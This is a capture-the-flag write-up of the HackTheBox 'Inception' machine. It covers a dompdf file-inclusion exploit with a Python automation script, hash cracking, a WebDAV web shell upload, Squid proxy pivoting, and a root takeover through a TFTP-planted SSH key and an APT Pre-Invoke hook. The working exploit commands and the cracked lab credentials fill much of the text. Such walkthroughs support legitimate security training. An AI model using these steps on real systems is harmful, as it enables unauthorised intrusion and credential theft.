This one was a bit of a doozy but pretty well done and required some pretty thorough enumeration. Kudos to the box creator on the creative setup!
Initial Enumeration
Let’s start with a quick nmap scan like usual.
root@kali:~/htb/inception# nmap -sV 10.10.10.67
Starting Nmap 7.50 ( https://nmap.org ) at 2018-01-04 15:47 EST
Nmap scan report for 10.10.10.67
Host is up (0.079s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
3128/tcp open http-proxy Squid http proxy 3.5.12
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.93 seconds
The squid proxy let’s us pass through without providing any credentials so we’re able to browse the localhost of the server. As for port 80 let’s fire up gobuster and see if any directories show up.
root@kali:~/htb/inception# gobuster -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.67
Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.67/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/big.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/assets (Status: 301)
/dompdf (Status: 301)
/images (Status: 301)
=====================================================
dompdf stands out. Let’s check it out.
And we identify the version.
And we find that this version is indeed vulnerable.
https://www.exploit-db.com/exploits/33004/
Let’s verify the LFI.
root@kali:~/htb/inception# curl http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd
%PDF-1.3
~
~
~
0.000 0.000 0.000 rg
BT 34.016 734.579 Td /F1 12.0 Tf [(cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAyOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMzpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDU6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzbG9nOng6MTA0OjEwODo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKc3NoZDp4OjEwNjo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpjb2JiOng6MTAwMDoxMDAwOjovaG9tZS9jb2JiOi9iaW4vYmFzaAo=)] TJ ET
~
~
~
root@kali:~/htb/inception# vim passwd
root@kali:~/htb/inception# cat passwd | base64 --decode
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
cobb:x:1000:1000::/home/cobb:/bin/bash
I’ve truncated a lot of the noise that we get from the pdf and put the base64 into a file, then decoded. This process is very cumbersome to do over and over. So to speed up enumeration I wrote a python script to do it all easily.
lfi.py
#!/usr/bin/env python3
import base64
import urllib.request
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("file")
args = parser.parse_args()
url = 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource='
try:
req = urllib.request.urlopen(url + args.file)
output = req.read()
if output:
string = output.decode()
result = string[string.find("[(")+2:string.find(")]")]
decoded = base64.b64decode(result).decode('utf8')
print(decoded)
except urllib.error.HTTPError:
print("File cannot be downloaded")
So now we can simply call the script and feed our desired filename as a parameter as such:
root@kali:~/htb/inception# ./lfi.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
cobb:x:1000:1000::/home/cobb:/bin/bash
Much easier. Also note here that cobb
could be a possible user for us to target later.
After a lot of config enumeration we find this in the apache default virtual host config file:
root@kali:~/htb/inception# ./lfi.py /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
Alias /webdav_test_inception /var/www/html/webdav_test_inception
<Location /webdav_test_inception>
Options FollowSymLinks
DAV On
AuthType Basic
AuthName "webdav test credential"
AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
Require valid-user
</Location>
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
We’ve found a webdav directory, excellent. Let’s go ahead and grab that passwd file.
root@kali:~/htb/inception# ./lfi.py /var/www/html/webdav_test_inception/webdav.passwd
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0
Now we can crack the hash with hashcat
.
PS C:\hashcat-3.5.0> .\hashcat64.exe -m 1600 -a 0 .\inception.txt .\rockyou.txt
hashcat (v3.5.0) starting...
Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14343296
* Bytes.....: 139921497
* Keyspace..: 14343296
$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0:babygurl69
And now we have our username webdav_tester
and the password babygurl69
.
My first thought here was to go ahead and upload a php reverse shell. But after trying that we get no connect back. A bind shell also did not work. So to further enumerate the box I decided on an excellent tool called phpbash
that you can find here. phpbash
will give us a nice terminal like interface to work with, let’s upload it using cadaver
.
root@kali:~/htb/inception# cadaver http://10.10.10.67/webdav_test_inception/
Authentication required for webdav test credential on server `10.10.10.67':
Username: webdav_tester
Password:
dav:/webdav_test_inception/> put phpbash.php
Uploading exec.php to `/webdav_test_inception/phpbash.php':
Progress: [=============================>] 100.0% of 8280 bytes succeeded.
dav:/webdav_test_inception/>
And now we can browse to our file and test command execution.
After looking around in /var/www/html
we find an old wordpress folder that no longer seems active. Inside we can see the wp-config.php
that contains database credentials.
www-data@Inception:/var/www/html/wordpress_4.8.3# cat wp-config.php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');
/** MySQL hostname */
define('DB_HOST', 'localhost');
So now we have a password but SSH isn’t open on the box. We’ll need to do some more enumeration. We already know the squid proxy allows us to pass traffic through it, so we can try to enumerate the box through the proxy and see if SSH is open that way. To do this we can use a Metasploit module called squid_pivot_scanning
. Since we are going through the proxy we want to scan the localhost address.
msf > use auxiliary/scanner/http/squid_pivot_scanning
msf auxiliary(squid_pivot_scanning) > show options
Module options (auxiliary/scanner/http/squid_pivot_scanning):
Name Current Setting Required Description
---- --------------- -------- -----------
CANARY_IP 1.2.3.4 yes The IP to check if the proxy always answers positively; the IP should not respond.
MANUAL_CHECK true yes Stop the scan if server seems to answer positively to every request
PORTS 21,80,139,443,445,1433,1521,1723,3389,8080,9100 yes Ports to scan; must be TCP
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RANGE yes IPs to scan through Squid proxy
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
msf auxiliary(squid_pivot_scanning) > set RPORT 3128
RPORT => 3128
msf auxiliary(squid_pivot_scanning) > set RHOSTS 10.10.10.67
RHOSTS => 10.10.10.67
msf auxiliary(squid_pivot_scanning) > set RANGE 127.0.0.1
RANGE => 127.0.0.1
msf auxiliary(squid_pivot_scanning) > set PORTS 21,80,139,443,445,1433,1521,1723,3389,8080,9100,22
PORTS => 21,80,139,443,445,1433,1521,1723,3389,8080,9100,22
msf auxiliary(squid_pivot_scanning) > run
[+] [10.10.10.67] 127.0.0.1 is alive but 21 is CLOSED
[+] [10.10.10.67] 127.0.0.1:22 seems OPEN
[+] [10.10.10.67] 127.0.0.1:80 seems OPEN
[+] [10.10.10.67] 127.0.0.1 is alive but 139 is CLOSED
[+] [10.10.10.67] 127.0.0.1 is alive but 445 is CLOSED
[+] [10.10.10.67] 127.0.0.1 is alive but 1433 is CLOSED
[+] [10.10.10.67] 127.0.0.1 is alive but 1521 is CLOSED
[+] [10.10.10.67] 127.0.0.1 is alive but 1723 is CLOSED
[+] [10.10.10.67] 127.0.0.1 is alive but 3389 is CLOSED
[+] [10.10.10.67] 127.0.0.1 is alive but 8080 is CLOSED
[+] [10.10.10.67] 127.0.0.1 is alive but 9100 is CLOSED
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(squid_pivot_scanning) >
Great! We see that SSH is indeed open through the proxy. But to get to it will be a little tricky, to help facilitate this we can use corkscrew
and edit our /etc/ssh/ssh_config
file on kali to add a ProxyCommand
.
This is the line we add to our ssh_config
file.
ProxyCommand corkscrew 10.10.10.67 3128 %h %p
Now we can SSH to 127.0.0.1 using the name we found earlier and the password found in wp-config.php
.
root@kali:~/htb/inception# ssh cobb@127.0.0.1
cobb@127.0.0.1's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Thu Nov 30 20:06:16 2017 from 127.0.0.1
cobb@Inception:~$
Now we can grab the user.txt flag!
Privilege Escalation
We quickly see that cobb has full sudo permissions and we can escalate to root instantly. However we are only left with a clue inside of root.txt.
cobb@Inception:~$ sudo -l
[sudo] password for cobb:
Matching Defaults entries for cobb on Inception:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User cobb may run the following commands on Inception:
(ALL : ALL) ALL
cobb@Inception:~$ sudo bash
root@Inception:~#
root@Inception:/root# cat root.txt
You're waiting for a train. A train that will take you far away. Wake up to find root.txt.
Again, we’ll need to do more enumeration to see where we need to go from here. If we check netstat
we see something interesting.
root@Inception:/# netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:35886 127.0.0.1:22 ESTABLISHED
tcp 0 0 127.0.0.1:22 127.0.0.1:35886 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::3128 :::* LISTEN
tcp6 0 36 192.168.0.10:3128 192.168.0.1:42354 ESTABLISHED
We see another IP address, 192.168.0.1
is connected to the squid port on the box we are currently on. nc
is on our box so let’s do a quick port scan with it on our newly found target.
root@Inception:~# nc -zv 192.168.0.1 1-65535 2>&1 | grep -v "refused"
Connection to 192.168.0.1 21 port [tcp/ftp] succeeded!
Connection to 192.168.0.1 22 port [tcp/ssh] succeeded!
Connection to 192.168.0.1 53 port [tcp/domain] succeeded!
Let’s also check UDP.
root@Inception:~# nc -zvu 192.168.0.1 1-100 2>&1 | grep -v "refused"
Connection to 192.168.0.1 53 port [udp/domain] succeeded!
Connection to 192.168.0.1 67 port [udp/bootps] succeeded!
Connection to 192.168.0.1 69 port [udp/tftp] succeeded!
So we have a few ports to look at. Our current SSH credentials unfortunately do not work so we’ll have to do some more enumeration with ftp. Lucky for us anonymous ftp is enabled.
root@Inception:/root# ftp 192.168.0.1
Connected to 192.168.0.1.
220 (vsFTPd 3.0.3)
Name (192.168.0.1:cobb): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Nov 30 18:34 bin
drwxr-xr-x 3 0 0 4096 Nov 30 18:34 boot
drwxr-xr-x 19 0 0 3920 Jan 17 03:35 dev
drwxr-xr-x 93 0 0 4096 Nov 30 18:34 etc
drwxr-xr-x 2 0 0 4096 Nov 06 09:02 home
lrwxrwxrwx 1 0 0 33 Nov 30 18:29 initrd.img -> boot/initrd.img-4.4.0-101-generic
lrwxrwxrwx 1 0 0 32 Nov 06 08:01 initrd.img.old -> boot/initrd.img-4.4.0-98-generic
drwxr-xr-x 22 0 0 4096 Nov 30 18:34 lib
drwxr-xr-x 2 0 0 4096 Oct 30 06:25 lib64
drwx------ 2 0 0 16384 Oct 30 06:25 lost+found
drwxr-xr-x 3 0 0 4096 Oct 30 06:25 media
drwxr-xr-x 2 0 0 4096 Aug 01 11:16 mnt
drwxr-xr-x 2 0 0 4096 Aug 01 11:16 opt
dr-xr-xr-x 195 0 0 0 Jan 17 03:35 proc
drwx------ 6 0 0 4096 Nov 08 08:48 root
drwxr-xr-x 26 0 0 940 Jan 17 06:25 run
drwxr-xr-x 2 0 0 12288 Nov 30 18:28 sbin
drwxr-xr-x 2 0 0 4096 Apr 29 2017 snap
drwxr-xr-x 3 0 0 4096 Nov 06 05:24 srv
dr-xr-xr-x 13 0 0 0 Jan 17 03:35 sys
drwxrwxrwt 10 0 0 4096 Jan 17 16:26 tmp
drwxr-xr-x 10 0 0 4096 Oct 30 06:25 usr
drwxr-xr-x 13 0 0 4096 Oct 30 06:31 var
lrwxrwxrwx 1 0 0 30 Nov 30 18:29 vmlinuz -> boot/vmlinuz-4.4.0-101-generic
lrwxrwxrwx 1 0 0 29 Nov 06 08:01 vmlinuz.old -> boot/vmlinuz-4.4.0-98-generic
226 Directory send OK.
We are also able to download most files, but we are not able to put anything on the system through FTP.
After filtering through many files we find something interesting in the crontab
.
ftp> get crontab
local: crontab remote: crontab
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for crontab (826 bytes).
226 Transfer complete.
826 bytes received in 0.00 secs (14.8629 MB/s)
ftp> exit
221 Goodbye.
root@Inception:/root# cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 * * * * root apt update 2>&1 >/var/log/apt/custom.log
30 23 * * * root apt upgrade -y 2>&1 >/dev/nul
So we can see that every 5 minutes apt-update
is running. custom.log
doesn’t have anything useful in it besides telling us when it’s running. What is useful is that we are able to run commands everytime apt-update
runs by placing a file inside /etc/apt/apt.conf.d
.
Our format for the file content is: APT::Update::Pre-Invoke {"command"};
and we will need to name our file with numbers prefixed. So we’ll use 00command
as our file name.
First attempts were tried to send bash one liner reverse shells and also a python bind shell, but these were unsuccessful. We could also just have the command copy out the root.txt
file for us to /tmp
, but a shell is always my preferred finish if possible. So instead we can copy the public ssh key into the authorized_hosts
file under root’s home directory.
To do this, let’s first generate ssh keys on our current host.
root@Inception:/root# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:od8B79U7G2TwQH3Nu9c8N15G3678UqRtGDkImLzc6cM root@Inception
The key's randomart image is:
+---[RSA 2048]----+
| . o .. ..|
| + .. . +|
| .oo oo. o.|
| .o+o .=+.o|
| . Soo . =X=|
| . oEo oo=&|
| . o. ==*|
| ..=.|
| ++.|
+----[SHA256]-----+
Now let’s try to copy over the public key over.
root@Inception:/root/.ssh# tftp 192.168.0.1
tftp> put id_rsa.pub /root/.ssh/authorized_keys
Sent 397 bytes in 0.0 seconds
Success! Now we will need to chmod
the permissions on the file, otherwise it will be ignored by SSH. Let’s setup our apt command file with the following:
APT::Update::Pre-Invoke {"chmod 600 /root/.ssh/authorized_keys"};
Copy over the command file into the proper directory.
root@Inception:/tmp# tftp 192.168.0.1
tftp> put 00command /etc/apt/apt.conf.d/00command
Sent 69 bytes in 0.0 seconds
Now we wait 5 minutes and try to SSH in.
root@Inception:/tmp# ssh root@192.168.0.1
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Thu Nov 30 20:04:21 2017
root@Inception:~#
From here we can finally grab the root.txt!